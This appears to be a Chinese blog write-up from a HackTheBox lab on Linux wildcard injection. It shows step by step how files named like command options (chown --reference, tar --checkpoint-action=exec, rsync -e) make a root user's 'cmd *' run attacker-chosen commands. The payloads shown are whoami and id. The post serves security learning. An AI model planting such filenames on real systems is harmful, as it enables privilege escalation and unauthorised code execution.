linux中利用通配符显示内容,linux通配符的利用

忽然发现自己在限号名单里,有些慌,最近也比较懒没做什么渗透和ctf题,所以就发下之前打靶机的总结吧。之前在打hackthebox的靶机Shrek发现的一个技巧,也就是2014年公布的unix和linux中的通配符漏洞。

简单来说这个漏洞就是可以添加linux命令中的参数作为文件名,执行的时候就可以执行创建的参数名,比如可以使用echo “” > --help,创建一个—help的文件 ,而当你使用cat 的时候就会出现cat --help / rm --help的内容

a30e4af98eeed5e3df10da5154735105.png

简单cat * 在linux中执行了cat 2.txt --help所以会出现cat --help的界面

chown首先创建几个文本或文件夹touch 1.php 2.php 3.php 4.php

之后使用另外的一个用户来做测试,我创建了个lpztest用户来做测试touch test.phpecho "" > --reference=test.txt

8835e476c2dd6555882ab4c8b4ec6359.png

切换root 正常进行用户和用户组更改chown -R root:root *.php

报了个错,但缺成功的将文件劫持了下来,并没有像详细中文件变为root而是变成了lpztest的权限

b78bdf2d36e8b3b094a66c4dda6a8c59.png

使用man查看chmod命令发现对—reference的解释是--reference=RFILE 使用RFILE的所有者和组

也即是当存在--reference指定的文件或文件夹时,之前指定的root:root 就回无效而按--reference的文件所有者来进行更改用户权限。在Chmod 也存在reference参数man chmod |grep reference

f9bae3afd460731d0f6f1a16bd97444e.png

tar在tar打包命令中也存在参数可以让用户使用tar *的时候产生歧义导致执行命令。我们可以创建一个shell,sh,里面只需要执行whoami和id命令来做测试touch shell.shwhoamiid

我们用测试用户创建--checkpoint=1和--checkpoint-action=exec=sh shell.sh文件echo "" > --checkpoint=1echo "" > --checkpoint-action=exec=sh\ shell.sh

7328e07d73de23d421892e1a40b424f2.png

然后root用户使用tar打包命令进行打包tar xzvf backfile.tar *

110ac76c7777c70a60136a3d398a96f7.png

发现执行了shell.sh中的命令

查看tar的命令帮助可以知道--checkpoint=1每第NUMBER条记录显示进度消息--checkpoint-action=ACTION在每个检查点执行action --checkpoint-action中指定的动作

这两个命令加起来大致意思也就是当tar打包文件时,没显示第几条记录时,可以执行--checkpoint-action指定的动作可以是执行shell或者python等

Rsyncrsync中也存在可以执行命令的参数

我们先创建名为x.php和-e python3 x.php的文件echo "" > -e\ python3\ x.phptouch x.phpimport osos.system('whoami > out_common.txt')

然后切换root用户去执行rsync备份文件命令rsync -t * test:/tmp

60a7dca1c943c47e0973ec6d88dff21e.png

发现成功执行命令,不过rsync -e执行的命令是无回显的不过是可以让他生成文件来输出结果来做验证。rsync中的 -e 参数 specify the remote shell to use意思是执行你自己准备的脚本进行远程备份Rsync是可以使用shell的但我并没成功所以我拿着python来演示了。

总结下来其实就是如果有高权限的用户在用rsync tar这一类命令中误配,比如简单的来个*,就很有可能被利用。当然如果有大佬知道其他可执行shell的命令可以说下。

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值